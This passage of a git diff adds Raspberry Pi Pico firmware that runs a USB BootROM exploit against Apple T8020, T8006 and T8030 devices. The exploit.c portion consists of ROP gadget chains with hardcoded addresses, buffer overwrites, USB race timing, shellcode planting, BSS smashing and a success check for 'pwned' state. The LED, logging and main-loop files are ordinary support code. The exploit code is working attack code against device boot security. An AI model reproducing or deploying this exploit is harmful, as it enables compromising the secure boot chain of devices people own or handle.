0x19c028c00, 0x19C034000); // X22 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028bf8, 0x19C034000); // X23 + SET64(t8020_t8006_overwrite, ov_start, 0x19c028bf0, 0x100000200); // X24 - lol + + // put back (some of) the stuff we destroy + SETMANY(t8020_t8006_overwrite, ov_start, 0x19c029400, ov_descriptors_t8020, sizeof(ov_descriptors_t8020)); +} + +void t8020_create_shellcode(struct t8020_t8006_config *config) { + uint64_t shc_start = config->shc_start; + uint64_t shc_base = config->shc_base; + + SETMANY(t8020_t8006_shellcode, shc_start, shc_base, shellcode_t8020, sizeof(shellcode_t8020)); + + uint32_t aligned = (sizeof(handler_t8020) + (16 - 1)) & ~(16 - 1); + SET32(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8020) - 0x10, aligned); + SETMANY(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8020), handler_t8020, sizeof(handler_t8020)); +} + +struct t8020_t8006_config t8020_config = { + 0x8020, +#if PICO_RP2350 + 10, +#elif PICO_RP2040 + 5, +#endif + 0x19C02960C, + 0xB04, + 0x19C018000, + 0x19C0183EC, + 0x400, + t8020_create_overwrite, + t8020_create_shellcode +}; + +#include "resources/descriptors_t8006.h" +#include "resources/shellcode_t8006.h" +#include "resources/handler_t8006.h" + +void t8006_create_overwrite(struct t8020_t8006_config *config) { + uint64_t ov_start = config->ov_start; + + // new LR - load X19 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b18, 0x10000FBB8); + + // load X19 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b58, 0x1801d8d00); // X19 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b68, 0x100008048); // next LR - load W8 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8d00, 0x1801C8400); // set X19 value for store + + // load W8 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b78, 0x230100B14); // X19 - write addr for next step + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b88, 0x10000771C); // next LR - store W8 to X19 + + // store W8 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8ba8, 0x10000E25C); // next LR - load W0 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b90, 0x1801d8d00); // X20 - delay addr - 8 + SET32(t8020_t8006_overwrite, ov_start, 0x1801d8d08, TASK_SLEEP_US); // set delay value + + // load W0 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bd8, 0x10000375C); // next LR - BLR X19 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bc8, 0x1000097DC); // X19 - task_sleep() + + // BLR X19 gadget frame + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8c28, 0x100008848); // next LR - escalate to EL1 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8c00, 0x1801C4000); // X22 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bf8, 0x1801C4000); // X23 + SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bf0, 0x100000200); // X24 - lol + + // put back (some of) the stuff we destroy + SETMANY(t8020_t8006_overwrite, ov_start, 0x1801d9400, ov_descriptors_t8006, sizeof(ov_descriptors_t8006)); +} + +void t8006_create_shellcode(struct t8020_t8006_config *config) { + uint64_t shc_start = config->shc_start; + uint64_t shc_base = config->shc_base; + + SETMANY(t8020_t8006_shellcode, shc_start, shc_base, shellcode_t8006, sizeof(shellcode_t8006)); + + uint32_t aligned = (sizeof(handler_t8006) + (16 - 1)) & ~(16 - 1); + SET32(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8006) - 0x10, aligned); + SETMANY(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8006), handler_t8006, sizeof(handler_t8006)); +} + +struct t8020_t8006_config t8006_config = { + 0x8006, +#if PICO_RP2350 + 20, +#elif PICO_RP2040 + 10, +#endif + 0x1801D960C, + 0xB04, + 0x1801C8000, + 0x1801C83EC, + 0x400, + t8006_create_overwrite, + t8006_create_shellcode +}; + +int t8020_t8006_exploit_run(bus_t *b, void *ctx) { + uint16_t cpid = *(uint16_t *)ctx; + struct t8020_t8006_config *config = NULL; + + switch (cpid) { + case 0x8020: + config = &t8020_config; + break; + + case 0x8006: + config = &t8006_config; + break; + + default: + INFO("bad CPID 0x%04X passed!", cpid); + return -1; + } + + memset(t8020_t8006_overwrite, 0, sizeof(t8020_t8006_overwrite)); + memset(t8020_t8006_shellcode, 0, sizeof(t8020_t8006_shellcode)); + + crazy_delay = config->delay; + + INFO("start"); + + /* ============ initializing overwrite ============ */ + + config->create_overwrite(config); + + /* ============ initializing shellcodes ============ */ + + config->create_shellcode(config); + + /* ========== doing the initial overwrite ========== */ + + if (crazy_transfer(b, t8020_t8006_overwrite, config->ov_size / 4) != 0) { + INFO("initial overwrite FAILED"); + return -1; + } + + /* ============ planting the shellcode ============ */ + + sleep_ms(5); + + if (crazy_transfer(b, t8020_t8006_shellcode, config->shc_size / 4) != 0) { + INFO("planting shellcode FAILED"); + return -1; + } + + /* ======== giving the ROM a chance to pwn ======== */ + + sleep_ms(486); // let's have some respect for x86 also + + return 0; +} + +// ============================ T8030 stuff ============================ + +#define T8030_CRAZY_DELAY 2 + +int __no_inline_not_in_flash_func(fcall_crazy_transfer)(bus_t *b, uint64_t pc, uint64_t arg0) { + struct crazy_counter cnt = { 0 }; + uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 }; + + DEBUG("delay=%dus", T8030_CRAZY_DELAY); + + while (cnt.n_ack < 7) { + uint64_t pattern = 0; + size_t setup_size = 8; + + if ((!cnt.n_ack) || (cnt.n_ack == 4) || (cnt.n_ack == 5)) { + setup_size = 4; + } + + if (cnt.n_ack == 3) { + pattern = arg0; + } + + if (cnt.n_ack == 6) { + pattern = pc; + } + + size_t enc_len = pb_data(USB_PID_DATA0, (void *)&pattern, setup_size, encoded); + uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len); + + if (counter_advance(&cnt, hs) != 0) { + return -1; + } + + if ((cnt.attempts % PRINT_EVERY) == 0) { + DEBUG(" [att=%6ld ack=%6ld/7] ACK=%ld TIMEOUT=%ld other=%ld", + cnt.attempts, cnt.n_ack, cnt.n_ack, cnt.n_timeout, cnt.n_other); + } + + // sleep_us(T8030_CRAZY_DELAY); + } + + DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)", + cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts); + + return 0; +} + +bool reset_dma_buf(bus_t *b) { + uint32_t pattern = 0x41414242; + uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 }; + + size_t enc_len = pb_data(USB_PID_DATA1, (const uint8_t *)&pattern, sizeof(pattern), encoded); + uint8_t hs = pb_transfer(b, USB_PID_OUT, encoded, enc_len); + + sleep_us(T8030_CRAZY_DELAY); + + DEBUG("done, handshake: %d\n", hs); + + return hs == USB_PID_ACK; +} + +int __no_inline_not_in_flash_func(push_base)(bus_t *b, uint32_t n_iter) { + struct crazy_counter cnt = { 0 }; + uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 }; + + DEBUG("target=%ld ACKs, delay=%dus", + n_iter, T8030_CRAZY_DELAY); + + uint32_t pattern = 0x41424344; + size_t enc_len = pb_data(USB_PID_DATA0, (const uint8_t *)&pattern, sizeof(pattern), encoded); + +#if DEBUG_ENABLED + absolute_time_t start_race = get_absolute_time(); +#endif + + while (cnt.n_ack < n_iter) { + uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len); + + if (counter_advance(&cnt, hs) != 0) { + return -1; + } + + if ((cnt.attempts % PRINT_EVERY) == 0) { + DEBUG(" [att=%6ld ack=%6ld/%ld] ACK=%ld TIMEOUT=%ld other=%ld", + cnt.attempts, cnt.n_ack, n_iter, cnt.n_ack, cnt.n_timeout, cnt.n_other); + } + + // sleep_us(T8030_CRAZY_DELAY); + } + +#if DEBUG_ENABLED + absolute_time_t end_race = get_absolute_time(); +#endif + DEBUG("race - %lld us", absolute_time_diff_us(start_race, end_race)); + + DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)", + cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts); + + return 0; +} + +#include "resources/shellcode_t8030.h" +#include "resources/handler_t8030.h" + +int t8030_exploit_run(bus_t *b, __unused void *ctx) { + crazy_delay = T8030_CRAZY_DELAY; + + /* ========= Assembling the shellcode in advance ========= */ + + const uint64_t shc_start = 0x19c018808; + uint32_t shc[0x204] = { 0 }; + + SETMANY(shc, shc_start, 0x19c018000, shellcode_t8030, sizeof(shellcode_t8030)); + + uint32_t aligned = (sizeof(handler_t8030) + (16 - 1)) & ~(16 - 1); + SET32(shc, shc_start, 0x19c018000 + sizeof(shellcode_t8030) - 0x10, aligned); + SETMANY(shc, shc_start, 0x19c018000 + sizeof(shellcode_t8030), handler_t8030, sizeof(handler_t8030)); + + /* ============ setting up dart_free() write ============ */ + + const uint64_t panicdepth_ow_start = 0x19C02950C; + static uint32_t panicdepth_ow_buffer[0x33] = { 0 }; + + SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c0294f0, 0x4e00); + SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c0294f8, 0x19c01031d); + SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029440, 0x19c0294d8); + SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029448, 0x19c0294e0); + SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029450, 0x1); + SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029458, 0x1); + SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029460, 0x1); + SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029468, 0x1); + + crazy_transfer(b, panicdepth_ow_buffer, 0x33); + + reset_dma_buf(b); + bus_reset_ep0_reopen(b); + + /* ============ abort DFU and trigger it ============ */ + + struct usb_setup_req_header dfu_abort_req = { + .bmRequestType = 0x21, + .bRequest = 0x06, + .wValue = 0x0000, + .wIndex = 0x0000, + .wLength = 0x0000 + }; + + bus_control_xfer(b, (uint8_t *)&dfu_abort_req, NULL, 0, false, 100); + + bus_reset_ep0_reopen(b); + + /* ============ race to skip LR of task struct ============ */ + + // uint32_t irq = save_and_disable_interrupts(); + +#define DELTA (3) + + push_base(b, 0x300 + DELTA); + sleep_us(133); + push_base(b, 0x18 + 6 - DELTA); + + // restore_interrupts(irq); + + /* ============ breaking IRQ enter depth counter ============ */ + + static uint32_t lockref_smash_buffer[0x81] = { 0 }; + memset(lockref_smash_buffer, 0xee, sizeof(lockref_smash_buffer)); + + lockref_smash_buffer[7] = 0x42424242; + lockref_smash_buffer[8] = 0x43434343; + + lockref_smash_buffer[14] = 0x9c028858; // 0x20 + lockref_smash_buffer[9] = 0x1; // 0x24 + + lockref_smash_buffer[10] = 0x3; // 0x28 + lockref_smash_buffer[11] = 0x1; // 0x2c + + lockref_smash_buffer[12] = 0x9c028858; // 0x18 + lockref_smash_buffer[13] = 0x1; // 0x1c + + lockref_smash_buffer[20] = 0x9c00c900; // 0x08 + lockref_smash_buffer[15] = 0x1; // 0x0c + + lockref_smash_buffer[16] = 0x9c0107c8; // 0x10 + lockref_smash_buffer[17] = 0x1; // 0x14 + + lockref_smash_buffer[18] = 0x68; // 0x00 + lockref_smash_buffer[19] = 0x69; // 0x04 + + lockref_smash_buffer[21] = 0x71; + lockref_smash_buffer[22] = 0x72; + + sleep_us(37); + crazy_transfer(b, lockref_smash_buffer + 1, sizeof(lockref_smash_buffer) / 4); + sleep_us(37); + + /* ============ Planting the shellcode ============ */ + + // You Can (Not) Advance + push_base(b, 3 * (0x1536)); + + bus_reset_ep0_reopen(b); + + crazy_transfer(b, shc, 0x204); + + push_base(b, 3 * 0x405); + + /* ============ smashing BSS ============ */ + + const uint64_t bss_smash_base = 0x19c014fbc; + static uint32_t bss_my_beloved[0x1800] = { 0 }; + + // USB driver magic vals + SET32(bss_my_beloved, bss_smash_base, 0x19c010a54, 1); + SET32(bss_my_beloved, bss_smash_base, 0x19c010a60, 0x3ff); + SET32(bss_my_beloved, bss_smash_base, 0x19c010a64, 0x7ffff); + SET32(bss_my_beloved, bss_smash_base, 0x19c010a68, 0x300a); + + // X22 check workaround + SET64(bss_my_beloved, bss_smash_base, 0x19c010208, 0x0); + SET64(bss_my_beloved, bss_smash_base, 0x19c010208 + 0x10, 0x100008EDC); + SET64(bss_my_beloved, bss_smash_base, 0x19c010208 + 0x4C, 0x1); + + crazy_transfer(b, bss_my_beloved, 0x140c); + bus_reset_ep0_reopen(b); + + fcall_crazy_transfer(b, 0x10000A5E8, 0x19c010208); + + // respect Intel as usual + sleep_ms(286); + + return 0; +} + +// ======================= High-level exploit logic ======================= + +#define EXPLOIT_TIMEOUT (3 * 1000 * 1000) + +int exploit_run(void) { + uint16_t cpid = -1; + bool pwnd = false; + + int ret = device_identify(&cpid, &pwnd); + + if (ret != 0) { + return ret; + } + + if (pwnd) { + INFO("already PWNED!"); + return -2; + } + + led_set_state(LED_STATE_RUNNING); + + absolute_time_t start = get_absolute_time(); + + // There used to be memset's for A12-specific buffers + // just before this switch. After moving them into + // the A12-specific code, A13 reliability dropped + // This little delay restores it... + // + // UPDATE: also breaks A12 reliability on RP2040, + // so let's put this delay unconditionally + sleep_ms(60); + + usb_executee_t func = NULL; + + switch (cpid) { + case 0x8020: + case 0x8006: + func = t8020_t8006_exploit_run; + break; + + case 0x8030: +#if PICO_RP2040 + INFO("WARNING: T8030 is not currently supported with RP2040, trying anyway though"); +#endif + func = t8030_exploit_run; + break; + + default: + INFO("T%04X is not supported (yet?)", cpid); + goto fail; + } + + ret = usb_bus_execute(func, &cpid, EXPLOIT_TIMEOUT); + + if (ret != 0) { + goto fail; + } + + /* =========== checking if it all worked =========== */ + + usb_bus_reset_open_ep0(); + + if (device_identify(&cpid, &pwnd) != 0) { + INFO("cannot re-discover the device after the exploit!"); + goto fail; + } + + if (!pwnd) { + goto fail; + } + + absolute_time_t end = get_absolute_time(); + int64_t delta = absolute_time_diff_us(start, end); + + led_set_state(LED_STATE_SUCCESS); + + INFO("took - %lldms", delta / 1000); + INFO("exploit SUCCESS!"); + + return 0; + +fail: + led_set_state(LED_STATE_ERROR); + INFO("exploit FAILED!"); + + return -1; +} diff --git a/exploit.h b/exploit.h new file mode 100644 index 0000000..51d4b77 --- /dev/null +++ b/exploit.h @@ -0,0 +1,3 @@ +#pragma once + +int exploit_run(void); diff --git a/led.c b/led.c new file mode 100644 index 0000000..ee9a5f3 --- /dev/null +++ b/led.c @@ -0,0 +1,312 @@ +#include +#include "pico/time.h" +#include "led.h" + +#if LED_NEOPIXEL + +#include "pico/status_led.h" + +#if LED_RED_GREEN_SWAPPED +#define NEOPIXEL_RGB(r, g, b) \ + ((g << 16) | (r << 8) | (b)) + +#else +#define NEOPIXEL_RGB(r, g, b) \ + ((g << 8) | (r << 16) | (b)) +#endif + +#define DISABLED NEOPIXEL_RGB(0, 0, 0) +#define GREEN NEOPIXEL_RGB(1, 18, 2) +#define BLUE NEOPIXEL_RGB(0, 10, 18) +#define AMBER NEOPIXEL_RGB(18, 2, 0) +#define RED NEOPIXEL_RGB(24, 0, 0) + +extern void set_ws2812(uint32_t value); + +void led_switch_color(uint32_t color) { + set_ws2812(color); +} + +void led_init(void) { + status_led_init(); +} + +#elif LED_RGB_PWM + +#include "hardware/gpio.h" +#include "hardware/pwm.h" + +#define PWM_WRAP (256) +#define PWM_RGB(r, g, b) \ + ((r << 16) | (g << 8) | b) + +#define DISABLED PWM_RGB(0, 0, 0) +#define GREEN PWM_RGB(10, 150, 50) +#define BLUE PWM_RGB(0, 30, 120) +#define AMBER PWM_RGB(170, 24, 0) +#define RED PWM_RGB(120, 0, 0) + +static struct { + uint r_slice; + uint r_chan; + uint g_slice; + uint g_chan; + uint b_slice; + uint b_chan; +} pwm_ctx = { 0 }; + +void led_switch_color(uint32_t color) { + pwm_set_chan_level(pwm_ctx.r_slice, pwm_ctx.r_chan, (color >> 16) & 0xFF); + pwm_set_chan_level(pwm_ctx.g_slice, pwm_ctx.g_chan, (color >> 8) & 0xFF); + pwm_set_chan_level(pwm_ctx.b_slice, pwm_ctx.b_chan, (color >> 0) & 0xFF); +} + +void led_init(void) { + int r_pin = LED_RGB_RED_PIN, g_pin = LED_RGB_GREEN_PIN, b_pin = LED_RGB_BLUE_PIN; + + gpio_set_function(r_pin, GPIO_FUNC_PWM); + gpio_set_function(g_pin, GPIO_FUNC_PWM); + gpio_set_function(b_pin, GPIO_FUNC_PWM); + + pwm_ctx.r_slice = pwm_gpio_to_slice_num(r_pin); + pwm_ctx.r_chan = pwm_gpio_to_channel(r_pin); + + pwm_ctx.g_slice = pwm_gpio_to_slice_num(g_pin); + pwm_ctx.g_chan = pwm_gpio_to_channel(g_pin); + + pwm_ctx.b_slice = pwm_gpio_to_slice_num(b_pin); + pwm_ctx.b_chan = pwm_gpio_to_channel(b_pin); + + pwm_set_wrap(pwm_ctx.r_slice, PWM_WRAP); + pwm_set_wrap(pwm_ctx.g_slice, PWM_WRAP); + pwm_set_wrap(pwm_ctx.b_slice, PWM_WRAP); + + pwm_set_chan_level(pwm_ctx.r_slice, pwm_ctx.r_chan, PWM_WRAP); + pwm_set_chan_level(pwm_ctx.g_slice, pwm_ctx.g_chan, PWM_WRAP); + pwm_set_chan_level(pwm_ctx.b_slice, pwm_ctx.b_chan, PWM_WRAP); + +#if LED_RGB_ACTIVE_LOW + // I hate this API + pwm_set_output_polarity(pwm_ctx.r_slice, true, true); + pwm_set_output_polarity(pwm_ctx.g_slice, true, true); + pwm_set_output_polarity(pwm_ctx.b_slice, true, true); +#endif + + pwm_set_enabled(pwm_ctx.r_slice, true); + pwm_set_enabled(pwm_ctx.g_slice, true); + pwm_set_enabled(pwm_ctx.b_slice, true); +} + +#elif LED_SINGLE_COLOR + +#include "hardware/pwm.h" +#include "hardware/gpio.h" + +#define PWM_WRAP (768) + +static struct { + uint slice; + uint chan; + + repeating_timer_t timer; + bool blink_en; + bool blink_curr_state; + + repeating_timer_t breathing_timer; + uint breathing_level; + bool breathing_falling; +} led_ctx = { 0 }; + +void led_init(void) { + gpio_set_function(LED_PIN, GPIO_FUNC_PWM); + + led_ctx.slice = pwm_gpio_to_slice_num(LED_PIN); + led_ctx.chan = pwm_gpio_to_channel(LED_PIN); + + pwm_set_wrap(led_ctx.slice, PWM_WRAP); + pwm_set_chan_level(led_ctx.slice, led_ctx.chan, PWM_WRAP); + pwm_set_enabled(led_ctx.slice, true); +} + +#define ENABLED (PWM_WRAP - 1) +#define DISABLED (0) + +void led_toggle(uint on) { + pwm_set_chan_level(led_ctx.slice, led_ctx.chan, on); +} + +bool _led_timer_cb(__unused repeating_timer_t *rt) { + led_toggle(led_ctx.blink_curr_state ? ENABLED : DISABLED); + led_ctx.blink_curr_state = !led_ctx.blink_curr_state; + + return true; +} + +void led_set_blinking(uint64_t period_ms) { + if (led_ctx.blink_en) { + cancel_repeating_timer(&led_ctx.timer); + } + + if (period_ms) { + add_repeating_timer_ms(period_ms, _led_timer_cb, NULL, &led_ctx.timer); + led_ctx.blink_en = true; + } else { + led_toggle(false); + led_ctx.blink_en = false; + } +} + +bool _led_breathing_timer_cb(__unused repeating_timer_t *rt) { + if (!led_ctx.breathing_falling) { + led_ctx.breathing_level++; + + if (led_ctx.breathing_level == ENABLED) { + led_ctx.breathing_falling = true; + } + } else { + led_ctx.breathing_level--; + + if (led_ctx.breathing_level == 0) { + led_ctx.breathing_falling = false; + } + } + + pwm_set_chan_level(led_ctx.slice, led_ctx.chan, led_ctx.breathing_level); + + return true; +} + +void led_set_breathing(bool on) { + if (on) { + led_set_blinking(0); + add_repeating_timer_ms(2, _led_breathing_timer_cb, NULL, &led_ctx.breathing_timer); + } else { + cancel_repeating_timer(&led_ctx.breathing_timer); + led_toggle(DISABLED); + } +} + +#endif + +#if LED_NEOPIXEL || LED_RGB_PWM + +static struct { + uint32_t color; + repeating_timer_t timer; + bool blink_en; + bool blink_curr_state; +} led_ctx = { 0 }; + +void led_set_color(uint32_t color) { + led_ctx.color = color; + led_switch_color(color); +} + +bool _led_timer_cb(__unused repeating_timer_t *rt) { + uint32_t color = 0; + + if (led_ctx.blink_curr_state) { + color = led_ctx.color; + } else { + color = DISABLED; + } + + led_switch_color(color); + + led_ctx.blink_curr_state = !led_ctx.blink_curr_state; + + return true; +} + +void led_set_blinking(uint64_t period_ms) { + if (led_ctx.blink_en) { + cancel_repeating_timer(&led_ctx.timer); + } + + if (period_ms) { + add_repeating_timer_ms(period_ms, _led_timer_cb, NULL, &led_ctx.timer); + led_ctx.blink_en = true; + } else { + led_switch_color(led_ctx.color); + led_ctx.blink_en = false; + } +} + +void led_set_state(int state) { + switch (state) { + case LED_STATE_BOOTING: { + led_set_color(AMBER); + led_set_blinking(200); + break; + } + + case LED_STATE_IDLE: { + led_set_color(AMBER); + led_set_blinking(0); + break; + } + + case LED_STATE_RUNNING: { + led_set_color(BLUE); + // blinking here breaks reliability, IDK + led_set_blinking(0); + break; + } + + case LED_STATE_SUCCESS: { + led_set_color(GREEN); + led_set_blinking(0); + break; + } + + case LED_STATE_ERROR: { + led_set_color(RED); + led_set_blinking(0); + break; + } + } +} + +#elif LED_SINGLE_COLOR + +void led_set_state(int state) { + switch (state) { + case LED_STATE_BOOTING: { + led_set_blinking(200); + break; + } + + case LED_STATE_IDLE: { + led_set_breathing(true); + break; + } + + case LED_STATE_RUNNING: { + led_set_breathing(false); + led_set_blinking(100); + break; + } + + case LED_STATE_SUCCESS: { + led_set_blinking(0); + led_toggle(ENABLED); + break; + } + + case LED_STATE_ERROR: { + led_set_blinking(0); + led_toggle(DISABLED); + break; + } + } +} + +#else + +void led_init(void) { +} + +void led_set_state(int state) { +} + +#endif diff --git a/led.h b/led.h new file mode 100644 index 0000000..a826630 --- /dev/null +++ b/led.h @@ -0,0 +1,13 @@ +#pragma once + +void led_init(void); + +enum { + LED_STATE_BOOTING = 0, + LED_STATE_IDLE, + LED_STATE_RUNNING, + LED_STATE_SUCCESS, + LED_STATE_ERROR +}; + +void led_set_state(int state); diff --git a/log.h b/log.h new file mode 100644 index 0000000..7e5d02c --- /dev/null +++ b/log.h @@ -0,0 +1,20 @@ +#pragma once + +#define DEBUG_ENABLED (0) + +#include + +#define INFO(fmt, ...) \ + printf(fmt "\n", ##__VA_ARGS__) + +#if DEBUG_ENABLED + +#define DEBUG(fmt, ...) \ + printf("%s(): " fmt "\n", __func__, ##__VA_ARGS__) + +#else + +#define DEBUG(fmt, ...) \ + (void)0 + +#endif diff --git a/main.c b/main.c new file mode 100644 index 0000000..8f1154c --- /dev/null +++ b/main.c @@ -0,0 +1,203 @@ +#include +#include +#include +#include +#include + +#include "hardware/clocks.h" +#include "hardware/watchdog.h" +#include "led.h" +#include "pico/stdlib.h" +#include "pico/bootrom.h" + +#include "bus.h" +#include "exploit.h" +#include "usb.h" +#include "log.h" + +#if WITH_AUTO_MODE + +#define WITH_AUTO_REBOOT (0) +#define FAILURE_REBOOT_DELAY_SEC (3) +#define SUCCESS_REBOOT_DELAY_SEC (5) + +#define CONNECTION_FAIL_SLEEP_MS (500) + +__attribute__((noreturn)) +void fatal_failure(void) { + led_set_state(LED_STATE_ERROR); + +#if WITH_AUTO_REBOOT + printf("\nfatal failure, rebooting in %d seconds\n", FAILURE_REBOOT_DELAY_SEC); + + sleep_ms(FAILURE_REBOOT_DELAY_SEC * 1000); + + watchdog_reboot(0, SRAM_END, 1); + while (1) {} + +#else + printf("\nfatal failure, spinning forever\n"); + + while (1) { + sleep_ms(100); + } +#endif +} + +__attribute__((noreturn)) +void do_auto(void) { + while (true) { + int ret = exploit_run(); + + /* + * This case means not even device descriptor + * could be queried + * + * On those boards with redundant resistor + * it could mean that device was not even + * connected yet + * + * So we sleep a bit, reset the bus and try again + * + * UPDATE: same behavior for already PWNED devices + */ + if (ret == -2) { + sleep_ms(CONNECTION_FAIL_SLEEP_MS); + usb_bus_reset_open_ep0(); + continue; + } + + /* no-go failure, bailing */ + if (ret != 0) { + fatal_failure(); + } + + /* it all went well then */ + break; + } + +#if WITH_AUTO_REBOOT + printf("\nsuccess, rebooting in %d seconds\n", SUCCESS_REBOOT_DELAY_SEC); + + sleep_ms(SUCCESS_REBOOT_DELAY_SEC * 1000); + + watchdog_reboot(0, SRAM_END, 1); + while (1) {} +#else + printf("\nsuccess, spinning forever\n"); + + while (1) { + sleep_ms(100); + } +#endif +} + +#else + +static void help(void) { + printf("'e'\texploit\n"); + printf("'r'\tbus reset\n"); + printf("'p'\treboot\n"); + printf("'h'\thelp\n"); +} + +void do_shell(void) { + char buf[2] = { 0 }; + + printf("\nDEBUG build, starting command prompt\n"); + + printf("\n"); + help(); + printf("\n"); + + while (1) { + printf("> "); + + char c = stdio_getchar(); + + printf("%c\n", c); + + switch (c) { + case 'r': { + printf("Resetting the bus...\n"); + usb_bus_reset_open_ep0(); + break; + } + + case 'e': { + usb_bus_reset_open_ep0(); + int ret = exploit_run(); + + if (ret == -2) { + printf("failed to discover a device\n"); + } + + break; + } + + case 'p': { + printf("Rebooting the Pico...\n"); + + sleep_ms(100); + watchdog_reboot(0, SRAM_END, 1); + while (1) {} + } + + case 'h': { + help(); + break; + } + + default: { + printf("Unknown command '%s'\n", buf); + break; + } + } + } +} + +#endif + +int main(void) { + // PIO USB needs sys_clk to be a multiple of 12 MHz +#if PICO_RP2350 + set_sys_clock_khz(156000, true); +#elif PICO_RP2040 + set_sys_clock_khz(120000, true); +#else +#error What is this MCU even? +#endif + + led_init(); + led_set_state(LED_STATE_BOOTING); + + stdio_init_all(); + + // this delay being long enough, seems to have + // a HUGE impact on the exploit reliability + sleep_ms(2000); + + led_set_state(LED_STATE_IDLE); + + printf("\n============ %s v%s ============\n", PICO_PROGRAM_NAME, PICO_PROGRAM_VERSION_STRING); + printf("built for %s, PIO USB @ GP%d/%d (D+/D-)\n\n", BOARD_NAME, PIO_USB_DP_PIN_DEFAULT, PIO_USB_DP_PIN_DEFAULT + 1); + +#if PICO_RP2040 + printf("==========================================================\n"); + printf("WARNING: RP2040 reliability is not the best in many cases,\n"); + printf("you shall better switch to RP2350\n"); + printf("==========================================================\n"); + printf("\n"); +#endif + + usb_start(); + usb_bus_init(); + usb_bus_wait_for_device(); + usb_bus_reset_open_ep0(); + +#if WITH_AUTO_MODE + do_auto(); +#else + do_shell(); +#endif +} diff --git a/pico_sdk_import.cmake b/pico_sdk_import.cmake new file mode 100644 index 0000000..d493cc2 --- /dev/null +++ b/pico_sdk_import.cmake @@ -0,0 +1,121 @@ +# This is a copy of /external/pico_sdk_import.cmake + +# This can be dropped into an external project to help locate this SDK +# It should be include()ed prior to project() + +# Copyright 2020 (c) 2020 Raspberry Pi (Trading) Ltd. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the +# following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following +# disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following +# disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, +# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH)) + set(PICO_SDK_PATH $ENV{PICO_SDK_PATH}) + message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')") +endif () + +if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT)) + set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT}) + message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')") +endif () + +if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH)) + set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH}) + message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')") +endif () + +if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_TAG} AND (NOT PICO_SDK_FETCH_FROM_GIT_TAG)) + set(PICO_SDK_FETCH_FROM_GIT_TAG $ENV{PICO_SDK_FETCH_FROM_GIT_TAG}) + message("Using PICO_SDK_FETCH_FROM_GIT_TAG from environment 